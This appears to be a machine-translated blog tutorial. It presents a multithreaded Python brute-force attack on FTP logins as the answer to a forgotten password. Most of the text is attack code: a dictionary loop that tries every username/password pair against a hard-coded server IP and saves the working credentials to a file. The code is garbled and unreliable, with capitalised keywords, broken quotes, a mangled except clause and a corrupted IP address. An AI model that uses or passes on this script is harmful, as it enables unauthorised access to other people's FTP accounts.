What should I do if I forget my ftp password? The following describes how to use the pythonftplib library to brute force crack passwords. For more information, see python's powerful library files. many functions have corresponding library files. Therefore, it is necessary to learn more, there is an ftp library file ftplib. we only need the login function, and then use multiple threads to call the fields in the corresponding dictionary for logon. you can also use the fields in the corresponding dictionary to log on as needed, compile the required program based on your own situation and let the program do some boring repetitive work instead of us.
The following code is used directly. The following is the main file.
The code is as follows:
Import OS
Import time
Import threading
Class mythread (threading. Thread ):
Def _ init _ (self, command ):
Threading. Thread. _ init _ (self)
Self. command = command
Def run (self ):
Kk = OS. system (self. command)
Ushand#open(“user.txt "," r ")
Pshand1_open(+passwd.txt "," r ")
Listuser = []
Listpass = []
For us in open(“user.txt "," r "):
Lineus = ushand. readline (). strip ('\ n ')
Listuser. append (lineus)
For ps in open(export passwd.txt "," r "):
Lineps = pshand. readline (). strip ('\ n ')
Listpass. append (lineps)
For I in listuser:
For j in listpass:
Command = "ftp. py % s" % (I, j)
Print command
My_thread = mythread (command)
My_thread.start ()
Time. sleep (0.1)
The code in the ftp. py file is as follows:
The code is as follows:
Import ftplib
Import socket
Import sys
Ftp = ftplib. FTP ('2017. 54.175.204 ′)
Try:
User = sys. argv [1]
Passwd = sys. argv [2]
Ftp. login (user, passwd)
Handcomplete open('aa.txt ', 'A + ')
Hand. write (user + ":" + passwd + "\ n ")
Failed T ftplib. error_perm:
Print "passwd is world"
The two files are separated by user.txtand passwd.txt, which are the user name and account dictionaries respectively.
The ftpcracking IP in the code can be modified to the IP address to be cracked. The latest account number and password will be input to the aa.txt file.